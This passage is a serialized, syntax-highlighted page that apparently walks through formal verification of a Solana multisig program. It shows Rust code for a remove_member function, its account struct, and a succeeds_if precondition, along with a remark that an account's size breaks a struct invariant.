ms_change_index",{"type":21,"tag":153,"props":27951,"children":27952},{"style":198},[27953],{"type":26,"value":201},{"type":21,"tag":153,"props":27955,"children":27956},{"style":300},[27957],{"type":26,"value":5799},{"type":21,"tag":153,"props":27959,"children":27960},{"style":160},[27961],{"type":26,"value":792},{"type":21,"tag":153,"props":27963,"children":27964},{"class":155,"line":533},[27965,27970,27974,27978],{"type":21,"tag":153,"props":27966,"children":27967},{"style":192},[27968],{"type":26,"value":27969},"        bump",{"type":21,"tag":153,"props":27971,"children":27972},{"style":198},[27973],{"type":26,"value":201},{"type":21,"tag":153,"props":27975,"children":27976},{"style":300},[27977],{"type":26,"value":5799},{"type":21,"tag":153,"props":27979,"children":27980},{"style":160},[27981],{"type":26,"value":792},{"type":21,"tag":153,"props":27983,"children":27984},{"class":155,"line":542},[27985,27989,27993,27998],{"type":21,"tag":153,"props":27986,"children":27987},{"style":192},[27988],{"type":26,"value":26536},{"type":21,"tag":153,"props":27990,"children":27991},{"style":198},[27992],{"type":26,"value":201},{"type":21,"tag":153,"props":27994,"children":27995},{"style":198},[27996],{"type":26,"value":27997}," ...",{"type":21,"tag":153,"props":27999,"children":28000},{"style":160},[28001],{"type":26,"value":792},{"type":21,"tag":153,"props":28003,"children":28004},{"class":155,"line":762},[28005,28010,28014,28018],{"type":21,"tag":153,"props":28006,"children":28007},{"style":192},[28008],{"type":26,"value":28009},"        allow_external_execute",{"type":21,"tag":153,"props":28011,"children":28012},{"style":198},[28013],{"type":26,"value":201},{"type":21,"tag":153,"props":28015,"children":28016},{"style":170},[28017],{"type":26,"value":11782},{"type":21,"tag":153,"props":28019,"children":28020},{"style":160},[28021],{"type":26,"value":792},{"type":21,"tag":153,"props":28023,"children":28024},{"class":155,"line":776},[28025,28030,28034,28039],{"type":21,"tag":153,"props":28026,"children":28027},{"style":192},[28028],{"type":26,"value":28029},"        keys",{"type":21,"tag":153,"props":28031,"children":28032},{"style":198},[28033],{"type":26,"value":201},{"type":21,"tag":153,"props":28035,"children":28036},{"style":214},[28037],{"type":26,"value":28038}," SparseVec",{"type":21,"tag":153,"props":28040,"children":28041},{"style":160},[28042],{"type":26,"value":236},{"type":21,"tag":153,"props":28044,"children":28045},{"class":155,"line":795},[28046,28051,28055,28060],{"type":21,"tag":153,"props":28047,"children":28048},{"style":192},[28049],{"type":26,"value":28050},"            size",{"type":21,"tag":153,"props":28052,"children":28053},{"style":198},[28054],{"type":26,"value":201},{"type":21,"tag":153,"props":28056,"children":28057},{"style":300},[28058],{"type":26,"value":28059}," 5112",{"type":21,"tag":153,"props":28061,"children":28062},{"style":160},[28063],{"type":26,"value":792},{"type":21,"tag":153,"props":28065,"children":28066},{"class":155,"line":808},[28067],{"type":21,"tag":153,"props":28068,"children":28069},{"style":160},[28070],{"type":26,"value":3236},{"type":21,"tag":153,"props":28072,"children":28073},{"class":155,"line":820},[28074],{"type":21,"tag":153,"props":28075,"children":28076},{"style":160},[28077],{"type":26,"value":28078},"    },\n",{"type":21,"tag":153,"props":28080,"children":28081},{"class":155,"line":842},[28082,28087,28091,28096,28100,28104],{"type":21,"tag":153,"props":28083,"children":28084},{"style":192},[28085],{"type":26,"value":28086},"    info",{"type":21,"tag":153,"props":28088,"children":28089},{"style":198},[28090],{"type":26,"value":201},{"type":21,"tag":153,"props":28092,"children":28093},{"style":214},[28094],{"type":26,"value":28095}," AccountInfo",{"type":21,"tag":153,"props":28097,"children":28098},{"style":160},[28099],{"type":26,"value":12308},{"type":21,"tag":153,"props":28101,"children":28102},{"style":198},[28103],{"type":26,"value":12313},{"type":21,"tag":153,"props":28105,"children":28106},{"style":160},[28107],{"type":26,"value":28108}," },\n",{"type":21,"tag":153,"props":28110,"children":28111},{"class":155,"line":3204},[28112],{"type":21,"tag":153,"props":28113,"children":28114},{"style":160},[28115],{"type":26,"value":548},{"type":21,"tag":22,"props":28117,"children":28118},{},[28119,28121,28126,28128,28133],{"type":26,"value":28120},"Here we see that the ",{"type":21,"tag":78,"props":28122,"children":28124},{"className":28123},[],[28125],{"type":26,"value":25442},{"type":26,"value":28127}," of the newly created ",{"type":21,"tag":78,"props":28129,"children":28131},{"className":28130},[],[28132],{"type":26,"value":25434},{"type":26,"value":28134}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":21,"tag":114,"props":28136,"children":28138},{"id":28137},"verify-requirements-to-remove-a-member",[28139],{"type":26,"value":25472},{"type":21,"tag":22,"props":28141,"children":28142},{},[28143,28145,28150,28151,28156,28158,28164],{"type":26,"value":28144},"Now that we've seen both ",{"type":21,"tag":78,"props":28146,"children":28148},{"className":28147},[],[28149],{"type":26,"value":22851},{"type":26,"value":52},{"type":21,"tag":78,"props":28152,"children":28154},{"className":28153},[],[28155],{"type":26,"value":24470},{"type":26,"value":28157}," let's take a look at the ",{"type":21,"tag":78,"props":28159,"children":28161},{"className":28160},[],[28162],{"type":26,"value":28163},"remove_member",{"type":26,"value":28165}," function:",{"type":21,"tag":143,"props":28167,"children":28169},{"code":28168,"language":147,"meta":7,"className":145,"style":7},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n    #[account(mut)]\n    multisig: Box\u003CAccount\u003C'info, Ms>>,\n    #[account(\n        mut,\n        seeds = [\n            b\"squad\",\n            multisig.create_key.as_ref(),\n            b\"multisig\"\n        ], bump = multisig.bump\n    )]\n    pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n    // if there is only one key in this multisig, reject the removal\n    if ctx.accounts.multisig.keys.len() == 1 {\n        return err!(MsError::CannotRemoveSoloMember);\n    }\n    ctx.accounts.multisig.remove_member(old_member)?;\n\n    // if the number of keys is now less than the threshold, adjust it\n    if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n        let new_threshold: u16 = ctx.accounts.multisig.keys.len().try_into().unwrap();\n        ctx.accounts.multisig.change_threshold(new_threshold)?;\n    }\n    let new_index = ctx.accounts.multisig.transaction_index;\n    ctx.accounts.multisig.set_change_index(new_index)\n}\n",[28170],{"type":21,"tag":78,"props":28171,"children":28172},{"__ignoreMap":7},[28173,28196,28224,28239,28284,28291,28303,28319,28331,28357,28365,28394,28401,28433,28440,28447,28521,28529,28589,28621,28628,28679,28686,28694,28787,28875,28929,28936,28981,29026],{"type":21,"tag":153,"props":28174,"children":28175},{"class":155,"line":156},[28176,28180,28184,28188,28192],{"type":21,"tag":153,"props":28177,"children":28178},{"style":160},[28179],{"type":26,"value":25530},{"type":21,"tag":153,"props":28181,"children":28182},{"style":214},[28183],{"type":26,"value":25535},{"type":21,"tag":153,"props":28185,"children":28186},{"style":160},[28187],{"type":26,"value":1670},{"type":21,"tag":153,"props":28189,"children":28190},{"style":214},[28191],{"type":26,"value":27408},{"type":21,"tag":153,"props":28193,"children":28194},{"style":160},[28195],{"type":26,"value":22954},{"type":21,"tag":153,"props":28197,"children":28198},{"class":155,"line":166},[28199,28203,28207,28212,28216,28220],{"type":21,"tag":153,"props":28200,"children":28201},{"style":170},[28202],{"type":26,"value":173},{"type":21,"tag":153,"props":28204,"children":28205},{"style":170},[28206],{"type":26,"value":23844},{"type":21,"tag":153,"props":28208,"children":28209},{"style":214},[28210],{"type":26,"value":28211}," MsAuth",{"type":21,"tag":153,"props":28213,"children":28214},{"style":160},[28215],{"type":26,"value":25615},{"type":21,"tag":153,"props":28217,"children":28218},{"style":214},[28219],{"type":26,"value":25620},{"type":21,"tag":153,"props":28221,"children":28222},{"style":160},[28223],{"type":26,"value":10009},{"type":21,"tag":153,"props":28225,"children":28226},{"class":155,"line":225},[28227,28231,28235],{"type":21,"tag":153,"props":28228,"children":28229},{"style":160},[28230],{"type":26,"value":25820},{"type":21,"tag":153,"props":28232,"children":28233},{"style":170},[28234],{"type":26,"value":318},{"type":21,"tag":153,"props":28236,"children":28237},{"style":160},[28238],{"type":26,"value":22954},{"type":21,"tag":153,"props":28240,"children":28241},{"class":155,"line":239},[28242,28247,28251,28256,28260,28264,28268,28272,28276,28280],{"type":21,"tag":153,"props":28243,"children":28244},{"style":192},[28245],{"type":26,"value":28246},"    multisig",{"type":21,"tag":153,"props":28248,"children":28249},{"style":198},[28250],{"type":26,"value":201},{"type":21,"tag":153,"props":28252,"children":28253},{"style":214},[28254],{"type":26,"value":28255}," Box",{"type":21,"tag":153,"props":28257,"children":28258},{"style":160},[28259],{"type":26,"value":8537},{"type":21,"tag":153,"props":28261,"children":28262},{"style":214},[28263],{"type":26,"value":19844},{"type":21,"tag":153,"props":28265,"children":28266},{"style":160},[28267],{"type":26,"value":25615},{"type":21,"tag":153,"props":28269,"children":28270},{"style":214},[28271],{"type":26,"value":25620},{"type":21,"tag":153,"props":28273,"children":28274},{"style":160},[28275],{"type":26,"value":1670},{"type":21,"tag":153,"props":28277,"children":28278},{"style":214},[28279],{"type":26,"value":25434},{"type":21,"tag":153,"props":28281,"children":28282},{"style":160},[28283],{"type":26,"value":9680},{"type":21,"tag":153,"props":28285,"children":28286},{"class":155,"line":382},[28287],{"type":21,"tag":153,"props":28288,"children":28289},{"style":160},[28290],{"type":26,"value":25632},{"type":21,"tag":153,"props":28292,"children":28293},{"class":155,"line":501},[28294,28299],{"type":21,"tag":153,"props":28295,"children":28296},{"style":170},[28297],{"type":26,"value":28298},"        mut",{"type":21,"tag":153,"props":28300,"children":28301},{"style":160},[28302],{"type":26,"value":792},{"type":21,"tag":153,"props":28304,"children":28305},{"class":155,"line":533},[28306,28310,28314],{"type":21,"tag":153,"props":28307,"children":28308},{"style":160},[28309],{"type":26,"value":25716},{"type":21,"tag":153,"props":28311,"children":28312},{"style":198},[28313],{"type":26,"value":2367},{"type":21,"tag":153,"props":28315,"children":28316},{"style":160},[28317],{"type":26,"value":28318}," [\n",{"type":21,"tag":153,"props":28320,"children":28321},{"class":155,"line":542},[28322,28327],{"type":21,"tag":153,"props":28323,"children":28324},{"style":671},[28325],{"type":26,"value":28326},"            b\"squad\"",{"type":21,"tag":153,"props":28328,"children":28329},{"style":160},[28330],{"type":26,"value":792},{"type":21,"tag":153,"props":28332,"children":28333},{"class":155,"line":762},[28334,28339,28343,28348,28352],{"type":21,"tag":153,"props":28335,"children":28336},{"style":160},[28337],{"type":26,"value":28338},"            multisig",{"type":21,"tag":153,"props":28340,"children":28341},{"style":198},[28342],{"type":26,"value":355},{"type":21,"tag":153,"props":28344,"children":28345},{"style":160},[28346],{"type":26,"value":28347},"create_key",{"type":21,"tag":153,"props":28349,"children":28350},{"style":198},[28351],{"type":26,"value":355},{"type":21,"tag":153,"props":28353,"children":28354},{"style":160},[28355],{"type":26,"value":28356},"as_ref(),\n",{"type":21,"tag":153,"props":28358,"children":28359},{"class":155,"line":776},[28360],{"type":21,"tag":153,"props":28361,"children":28362},{"style":671},[28363],{"type":26,"value":28364},"            b\"multisig\"\n",{"type":21,"tag":153,"props":28366,"children":28367},{"class":155,"line":795},[28368,28373,28378,28382,28386,28390],{"type":21,"tag":153,"props":28369,"children":28370},{"style":160},[28371],{"type":26,"value":28372},"        ], ",{"type":21,"tag":153,"props":28374,"children":28375},{"style":192},[28376],{"type":26,"value":28377},"bump",{"type":21,"tag":153,"props":28379,"children":28380},{"style":198},[28381],{"type":26,"value":255},{"type":21,"tag":153,"props":28383,"children":28384},{"style":192},[28385],{"type":26,"value":25776},{"type":21,"tag":153,"props":28387,"children":28388},{"style":198},[28389],{"type":26,"value":355},{"type":21,"tag":153,"props":28391,"children":28392},{"style":160},[28393],{"type":26,"value":25756},{"type":21,"tag":153,"props":28395,"children":28396},{"class":155,"line":808},[28397],{"type":21,"tag":153,"props":28398,"children":28399},{"style":160},[28400],{"type":26,"value":25764},{"type":21,"tag":153,"props":28402,"children":28403},{"class":155,"line":820},[28404,28408,28413,28417,28421,28425,28429],{"type":21,"tag":153,"props":28405,"children":28406},{"style":170},[28407],{"type":26,"value":23537},{"type":21,"tag":153,"props":28409,"children":28410},{"style":192},[28411],{"type":26,"value":28412}," multisig_auth",{"type":21,"tag":153,"props":28414,"children":28415},{"style":198},[28416],{"type":26,"value":201},{"type":21,"tag":153,"props":28418,"children":28419},{"style":214},[28420],{"type":26,"value":25849},{"type":21,"tag":153,"props":28422,"children":28423},{"style":160},[28424],{"type":26,"value":25615},{"type":21,"tag":153,"props":28426,"children":28427},{"style":214},[28428],{"type":26,"value":25620},{"type":21,"tag":153,"props":28430,"children":28431},{"style":160},[28432],{"type":26,"value":8867},{"type":21,"tag":153,"props":28434,"children":28435},{"class":155,"line":842},[28436],{"type":21,"tag":153,"props":28437,"children":28438},{"style":160},[28439],{"type":26,"value":548},{"type":21,"tag":153,"props":28441,"children":28442},{"class":155,"line":3204},[28443],{"type":21,"tag":153,"props":28444,"children":28445},{"emptyLinePlaceholder":16},[28446],{"type":26,"value":759},{"type":21,"tag":153,"props":28448,"children":28449},{"class":155,"line":3230},[28450,28454,28458,28463,28467,28471,28475,28479,28483,28488,28492,28497,28501,28505,28509,28513,28517],{"type":21,"tag":153,"props":28451,"children":28452},{"style":170},[28453],{"type":26,"value":173},{"type":21,"tag":153,"props":28455,"children":28456},{"style":170},[28457],{"type":26,"value":178},{"type":21,"tag":153,"props":28459,"children":28460},{"style":181},[28461],{"type":26,"value":28462}," remove_member",{"type":21,"tag":153,"props":28464,"children":28465},{"style":160},[28466],{"type":26,"value":189},{"type":21,"tag":153,"props":28468,"children":28469},{"style":192},[28470],{"type":26,"value":1882},{"type":21,"tag":153,"props":28472,"children":28473},{"style":198},[28474],{"type":26,"value":201},{"type":21,"tag":153,"props":28476,"children":28477},{"style":214},[28478],{"type":26,"value":22983},{"type":21,"tag":153,"props":28480,"children":28481},{"style":160},[28482],{"type":26,"value":8537},{"type":21,"tag":153,"props":28484,"children":28485},{"style":214},[28486],{"type":26,"value":28487},"MsAuth",{"type":21,"tag":153,"props":28489,"children":28490},{"style":160},[28491],{"type":26,"value":9360},{"type":21,"tag":153,"props":28493,"children":28494},{"style":192},[28495],{"type":26,"value":28496},"old_member",{"type":21,"tag":153,"props":28498,"children":28499},{"style":198},[28500],{"type":26,"value":201},{"type":21,"tag":153,"props":28502,"children":28503},{"style":214},[28504],{"type":26,"value":2266},{"type":21,"tag":153,"props":28506,"children":28507},{"style":160},[28508],{"type":26,"value":2362},{"type":21,"tag":153,"props":28510,"children":28511},{"style":198},[28512],{"type":26,"value":2953},{"type":21,"tag":153,"props":28514,"children":28515},{"style":214},[28516],{"type":26,"value":16475},{"type":21,"tag":153,"props":28518,"children":28519},{"style":160},[28520],{"type":26,"value":23025},{"type":21,"tag":153,"props":28522,"children":28523},{"class":155,"line":3239},[28524],{"type":21,"tag":153,"props":28525,"children":28526},{"style":3050},[28527],{"type":26,"value":28528},"    // if there is only one key in this multisig, reject the removal\n",{"type":21,"tag":153,"props":28530,"children":28531},{"class":155,"line":3253},[28532,28536,28541,28545,28549,28553,28557,28561,28565,28569,28573,28577,28581,28585],{"type":21,"tag":153,"props":28533,"children":28534},{"style":1751},[28535],{"type":26,"value":2434},{"type":21,"tag":153,"props":28537,"children":28538},{"style":192},[28539],{"type":26,"value":28540}," ctx",{"type":21,"tag":153,"props":28542,"children":28543},{"style":198},[28544],{"type":26,"value":355},{"type":21,"tag":153,"props":28546,"children":28547},{"style":160},[28548],{"type":26,"value":2987},{"type":21,"tag":153,"props":28550,"children":28551},{"style":198},[28552],{"type":26,"value":355},{"type":21,"tag":153,"props":28554,"children":28555},{"style":160},[28556],{"type":26,"value":26502},{"type":21,"tag":153,"props":28558,"children":28559},{"style":198},[28560],{"type":26,"value":355},{"type":21,"tag":153,"props":28562,"children":28563},{"style":160},[28564],{"type":26,"value":23676},{"type":21,"tag":153,"props":28566,"children":28567},{"style":198},[28568],{"type":26,"value":355},{"type":21,"tag":153,"props":28570,"children":28571},{"style":181},[28572],{"type":26,"value":2456},{"type":21,"tag":153,"props":28574,"children":28575},{"style":160},[28576],{"type":26,"value":2461},{"type":21,"tag":153,"props":28578,"children":28579},{"style":198},[28580],{"type":26,"value":1694},{"type":21,"tag":153,"props":28582,"children":28583},{"style":300},[28584],{"type":26,"value":7253},{"type":21,"tag":153,"props":28586,"children":28587},{"style":160},[28588],{"type":26,"value":236},{"type":21,"tag":153,"props":28590,"children":28591},{"class":155,"line":3301},[28592,28596,28600,28604,28608,28612,28617],{"type":21,"tag":153,"props":28593,"children":28594},{"style":1751},[28595],{"type":26,"value":18441},{"type":21,"tag":153,"props":28597,"children":28598},{"style":181},[28599],{"type":26,"value":26209},{"type":21,"tag":153,"props":28601,"children":28602},{"style":160},[28603],{"type":26,"value":189},{"type":21,"tag":153,"props":28605,"children":28606},{"style":214},[28607],{"type":26,"value":26218},{"type":21,"tag":153,"props":28609,"children":28610},{"style":198},[28611],{"type":26,"value":265},{"type":21,"tag":153,"props":28613,"children":28614},{"style":214},[28615],{"type":26,"value":28616},"CannotRemoveSoloMember",{"type":21,"tag":153,"props":28618,"children":28619},{"style":160},[28620],{"type":26,"value":530},{"type":21,"tag":153,"props":28622,"children":28623},{"class":155,"line":3346},[28624],{"type":21,"tag":153,"props":28625,"children":28626},{"style":160},[28627],{"type":26,"value":539},{"type":21,"tag":153,"props":28629,"children":28630},{"class":155,"line":3355},[28631,28635,28639,28643,28647,28651,28655,28659,28663,28667,28671,28675],{"type":21,"tag":153,"props":28632,"children":28633},{"style":192},[28634],{"type":26,"value":22920},{"type":21,"tag":153,"props":28636,"children":28637},{"style":198},[28638],{"type":26,"value":355},{"type":21,"tag":153,"props":28640,"children":28641},{"style":160},[28642],{"type":26,"value":2987},{"type":21,"tag":153,"props":28644,"children":28645},{"style":198},[28646],{"type":26,"value":355},{"type":21,"tag":153,"props":28648,"children":28649},{"style":160},[28650],{"type":26,"value":26502},{"type":21,"tag":153,"props":28652,"children":28653},{"style":198},[28654],{"type":26,"value":355},{"type":21,"tag":153,"props":28656,"children":28657},{"style":181},[28658],{"type":26,"value":28163},{"type":21,"tag":153,"props":28660,"children":28661},{"style":160},[28662],{"type":26,"value":189},{"type":21,"tag":153,"props":28664,"children":28665},{"style":192},[28666],{"type":26,"value":28496},{"type":21,"tag":153,"props":28668,"children":28669},{"style":160},[28670],{"type":26,"value":2071},{"type":21,"tag":153,"props":28672,"children":28673},{"style":198},[28674],{"type":26,"value":2022},{"type":21,"tag":153,"props":28676,"children":28677},{"style":160},[28678],{"type":26,"value":1759},{"type":21,"tag":153,"props":28680,"children":28681},{"class":155,"line":3364},[28682],{"type":21,"tag":153,"props":28683,"children":28684},{"emptyLinePlaceholder":16},[28685],{"type":26,"value":759},{"type":21,"tag":153,"props":28687,"children":28688},{"class":155,"line":3376},[28689],{"type":21,"tag":153,"props":28690,"children":28691},{"style":3050},[28692],{"type":26,"value":28693},"    // if the number of keys is now less than the threshold, adjust it\n",{"type":21,"tag":153,"props":28695,"children":28696},{"class":155,"line":3393},[28697,28701,28705,28709,28713,28717,28721,28725,28729,28733,28737,28742,28746,28750,28754,28758,28762,28766,28770,28774,28778,28782],{"type":21,"tag":153,"props":28698,"children":28699},{"style":1751},[28700],{"type":26,"value":2434},{"type":21,"tag":153,"props":28702,"children":28703},{"style":192},[28704],{"type":26,"value":28540},{"type":21,"tag":153,"props":28706,"children":28707},{"style":198},[28708],{"type":26,"value":355},{"type":21,"tag":153,"props":28710,"children":28711},{"style":160},[28712],{"type":26,"value":2987},{"type":21,"tag":153,"props":28714,"children":28715},{"style":198},[28716],{"type":26,"value":355},{"type":21,"tag":153,"props":28718,"children":28719},{"style":160},[28720],{"type":26,"value":26502},{"type":21,"tag":153,"props":28722,"children":28723},{"style":198},[28724],{"type":26,"value":355},{"type":21,"tag":153,"props":28726,"children":28727},{"style":160},[28728],{"type":26,"value":23676},{"type":21,"tag":153,"props":28730,"children":28731},{"style":198},[28732],{"type":26,"value":355},{"type":21,"tag":153,"props":28734,"children":28735},{"style":181},[28736],{"type":26,"value":2456},{"type":21,"tag":153,"props":28738,"children":28739},{"style":160},[28740],{"type":26,"value":28741},"() \u003C ",{"type":21,"tag":153,"props":28743,"children":28744},{"style":214},[28745],{"type":26,"value":19299},{"type":21,"tag":153,"props":28747,"children":28748},{"style":198},[28749],{"type":26,"value":265},{"type":21,"tag":153,"props":28751,"children":28752},{"style":181},[28753],{"type":26,"value":22170},{"type":21,"tag":153,"props":28755,"children":28756},{"style":160},[28757],{"type":26,"value":189},{"type":21,"tag":153,"props":28759,"children":28760},{"style":192},[28761],{"type":26,"value":1882},{"type":21,"tag":153,"props":28763,"children":28764},{"style":198},[28765],{"type":26,"value":355},{"type":21,"tag":153,"props":28767,"children":28768},{"style":160},[28769],{"type":26,"value":2987},{"type":21,"tag":153,"props":28771,"children":28772},{"style":198},[28773],{"type":26,"value":355},{"type":21,"tag":153,"props":28775,"children":28776},{"style":160},[28777],{"type":26,"value":26502},{"type":21,"tag":153,"props":28779,"children":28780},{"style":198},[28781],{"type":26,"value":355},{"type":21,"tag":153,"props":28783,"children":28784},{"style":160},[28785],{"type":26,"value":28786},"threshold) {\n",{"type":21,"tag":153,"props":28788,"children":28789},{"class":155,"line":3405},[28790,28794,28799,28803,28807,28811,28815,28819,28823,28827,28831,28835,28839,28843,28847,28851,28855,28859,28863,28867,28871],{"type":21,"tag":153,"props":28791,"children":28792},{"style":170},[28793],{"type":26,"value":245},{"type":21,"tag":153,"props":28795,"children":28796},{"style":192},[28797],{"type":26,"value":28798}," new_threshold",{"type":21,"tag":153,"props":28800,"children":28801},{"style":198},[28802],{"type":26,"value":201},{"type":21,"tag":153,"props":28804,"children":28805},{"style":214},[28806],{"type":26,"value":23723},{"type":21,"tag":153,"props":28808,"children":28809},{"style":198},[28810],{"type":26,"value":255},{"type":21,"tag":153,"props":28812,"children":28813},{"style":192},[28814],{"type":26,"value":28540},{"type":21,"tag":153,"props":28816,"children":28817},{"style":198},[28818],{"type":26,"value":355},{"type":21,"tag":153,"props":28820,"children":28821},{"style":160},[28822],{"type":26,"value":2987},{"type":21,"tag":153,"props":28824,"children":28825},{"style":198},[28826],{"type":26,"value":355},{"type":21,"tag":153,"props":28828,"children":28829},{"style":160},[28830],{"type":26,"value":26502},{"type":21,"tag":153,"props":28832,"children":28833},{"style":198},[28834],{"type":26,"value":355},{"type":21,"tag":153,"props":28836,"children":28837},{"style":160},[28838],{"type":26,"value":23676},{"type":21,"tag":153,"props":28840,"children":28841},{"style":198},[28842],{"type":26,"value":355},{"type":21,"tag":153,"props":28844,"children":28845},{"style":181},[28846],{"type":26,"value":2456},{"type":21,"tag":153,"props":28848,"children":28849},{"style":160},[28850],{"type":26,"value":365},{"type":21,"tag":153,"props":28852,"children":28853},{"style":198},[28854],{"type":26,"value":355},{"type":21,"tag":153,"props":28856,"children":28857},{"style":181},[28858],{"type":26,"value":360},{"type":21,"tag":153,"props":28860,"children":28861},{"style":160},[28862],{"type":26,"value":365},{"type":21,"tag":153,"props":28864,"children":28865},{"style":198},[28866],{"type":26,"value":355},{"type":21,"tag":153,"props":28868,"children":28869},{"style":181},[28870],{"type":26,"value":374},{"type":21,"tag":153,"props":28872,"children":28873},{"style":160},[28874],{"type":26,"value":839},{"type":21,"tag":153,"props":28876,"children":28877},{"class":155,"line":3427},[28878,28883,28887,28891,28895,28899,28903,28908,28912,28917,28921,28925],{"type":21,"tag":153,"props":28879,"children":28880},{"style":192},[28881],{"type":26,"value":28882},"        ctx",{"type":21,"tag":153,"props":28884,"children":28885},{"style":198},[28886],{"type":26,"value":355},{"type":21,"tag":153,"props":28888,"children":28889},{"style":160},[28890],{"type":26,"value":2987},{"type":21,"tag":153,"props":28892,"children":28893},{"style":198},[28894],{"type":26,"value":355},{"type":21,"tag":153,"props":28896,"children":28897},{"style":160},[28898],{"type":26,"value":26502},{"type":21,"tag":153,"props":28900,"children":28901},{"style":198},[28902],{"type":26,"value":355},{"type":21,"tag":153,"props":28904,"children":28905},{"style":181},[28906],{"type":26,"value":28907},"change_threshold",{"type":21,"tag":153,"props":28909,"children":28910},{"style":160},[28911],{"type":26,"value":189},{"type":21,"tag":153,"props":28913,"children":28914},{"style":192},[28915],{"type":26,"value":28916},"new_threshold",{"type":21,"tag":153,"props":28918,"children":28919},{"style":160},[28920],{"type":26,"value":2071},{"type":21,"tag":153,"props":28922,"children":28923},{"style":198},[28924],{"type":26,"value":2022},{"type":21,"tag":153,"props":28926,"children":28927},{"style":160},[28928],{"type":26,"value":1759},{"type":21,"tag":153,"props":28930,"children":28931},{"class":155,"line":3448},[28932],{"type":21,"tag":153,"props":28933,"children":28934},{"style":160},[28935],{"type":26,"value":539},{"type":21,"tag":153,"props":28937,"children":28938},{"class":155,"line":3456},[28939,28943,28948,28952,28956,28960,28964,28968,28972,28976],{"type":21,"tag":153,"props":28940,"children":28941},{"style":170},[28942],{"type":26,"value":629},{"type":21,"tag":153,"props":28944,"children":28945},{"style":192},[28946],{"type":26,"value":28947}," new_index",{"type":21,"tag":153,"props":28949,"children":28950},{"style":198},[28951],{"type":26,"value":255},{"type":21,"tag":153,"props":28953,"children":28954},{"style":192},[28955],{"type":26,"value":28540},{"type":21,"tag":153,"props":28957,"children":28958},{"style":198},[28959],{"type":26,"value":355},{"type":21,"tag":153,"props":28961,"children":28962},{"style":160},[28963],{"type":26,"value":2987},{"type":21,"tag":153,"props":28965,"children":28966},{"style":198},[28967],{"type":26,"value":355},{"type":21,"tag":153,"props":28969,"children":28970},{"style":160},[28971],{"type":26,"value":26502},{"type":21,"tag":153,"props":28973,"children":28974},{"style":198},[28975],{"type":26,"value":355},{"type":21,"tag":153,"props":28977,"children":28978},{"style":160},[28979],{"type":26,"value":28980},"transaction_index;\n",{"type":21,"tag":153,"props":28982,"children":28983},{"class":155,"line":3493},[28984,28988,28992,28996,29000,29004,29008,29013,29017,29022],{"type":21,"tag":153,"props":28985,"children":28986},{"style":192},[28987],{"type":26,"value":22920},{"type":21,"tag":153,"props":28989,"children":28990},{"style":198},[28991],{"type":26,"value":355},{"type":21,"tag":153,"props":28993,"children":28994},{"style":160},[28995],{"type":26,"value":2987},{"type":21,"tag":153,"props":28997,"children":28998},{"style":198},[28999],{"type":26,"value":355},{"type":21,"tag":153,"props":29001,"children":29002},{"style":160},[29003],{"type":26,"value":26502},{"type":21,"tag":153,"props":29005,"children":29006},{"style":198},[29007],{"type":26,"value":355},{"type":21,"tag":153,"props":29009,"children":29010},{"style":181},[29011],{"type":26,"value":29012},"set_change_index",{"type":21,"tag":153,"props":29014,"children":29015},{"style":160},[29016],{"type":26,"value":189},{"type":21,"tag":153,"props":29018,"children":29019},{"style":192},[29020],{"type":26,"value":29021},"new_index",{"type":21,"tag":153,"props":29023,"children":29024},{"style":160},[29025],{"type":26,"value":5909},{"type":21,"tag":153,"props":29027,"children":29028},{"class":155,"line":3509},[29029],{"type":21,"tag":153,"props":29030,"children":29031},{"style":160},[29032],{"type":26,"value":548},{"type":21,"tag":22,"props":29034,"children":29035},{},[29036,29038,29043],{"type":26,"value":29037},"First let's establish the ",{"type":21,"tag":78,"props":29039,"children":29041},{"className":29040},[],[29042],{"type":26,"value":22851},{"type":26,"value":29044}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":21,"tag":143,"props":29046,"children":29048},{"code":29047,"language":147,"meta":7,"className":145,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[29049],{"type":21,"tag":78,"props":29050,"children":29051},{"__ignoreMap":7},[29052,29059,29106,29113],{"type":21,"tag":153,"props":29053,"children":29054},{"class":155,"line":156},[29055],{"type":21,"tag":153,"props":29056,"children":29057},{"style":160},[29058],{"type":26,"value":26809},{"type":21,"tag":153,"props":29060,"children":29061},{"class":155,"line":166},[29062,29066,29070,29074,29078,29082,29086,29090,29094,29098,29102],{"type":21,"tag":153,"props":29063,"children":29064},{"style":160},[29065],{"type":26,"value":22920},{"type":21,"tag":153,"props":29067,"children":29068},{"style":198},[29069],{"type":26,"value":355},{"type":21,"tag":153,"props":29071,"children":29072},{"style":160},[29073],{"type":26,"value":2987},{"type":21,"tag":153,"props":29075,"children":29076},{"style":198},[29077],{"type":26,"value":355},{"type":21,"tag":153,"props":29079,"children":29080},{"style":160},[29081],{"type":26,"value":26502},{"type":21,"tag":153,"props":29083,"children":29084},{"style":198},[29085],{"type":26,"value":355},{"type":21,"tag":153,"props":29087,"children":29088},{"style":160},[29089],{"type":26,"value":23676},{"type":21,"tag":153,"props":29091,"children":29092},{"style":198},[29093],{"type":26,"value":355},{"type":21,"tag":153,"props":29095,"children":29096},{"style":160},[29097],{"type":26,"value":23714},{"type":21,"tag":153,"props":29099,"children":29100},{"style":198},[29101],{"type":26,"value":13182},{"type":21,"tag":153,"props":29103,"children":29104},{"style":160},[29105],{"type":26,"value":22139},{"type":21,"tag":153,"props":29107,"children":29108},{"class":155,"line":225},[29109],{"type":21,"tag":153,"props":29110,"children":29111},{"style":160},[29112],{"type":26,"value":22954},{"type":21,"tag":153,"props":29114,"children":29115},{"class":155,"line":239},[29116,29120,29124,29128,29132,29136,29140],{"type":21,"tag":153,"props":29117,"children":29118},{"style":170},[29119],{"type":26,"value":1000},{"type":21,"tag":153,"props":29121,"children":29122},{"style":181},[29123],{"type":26,"value":28462},{"type":21,"tag":153,"props":29125,"children":29126},{"style":160},[29127],{"type":26,"value":189},{"type":21,"tag":153,"props":29129,"children":29130},{"style":198},[29131],{"type":26,"value":12313},{"type":21,"tag":153,"props":29133,"children":29134},{"style":160},[29135],{"type":26,"value":26686},{"type":21,"tag":153,"props":29137,"children":29138},{"style":198},[29139],{"type":26,"value":12313},{"type":21,"tag":153,"props":29141,"children":29142},{"style":160},[29143],{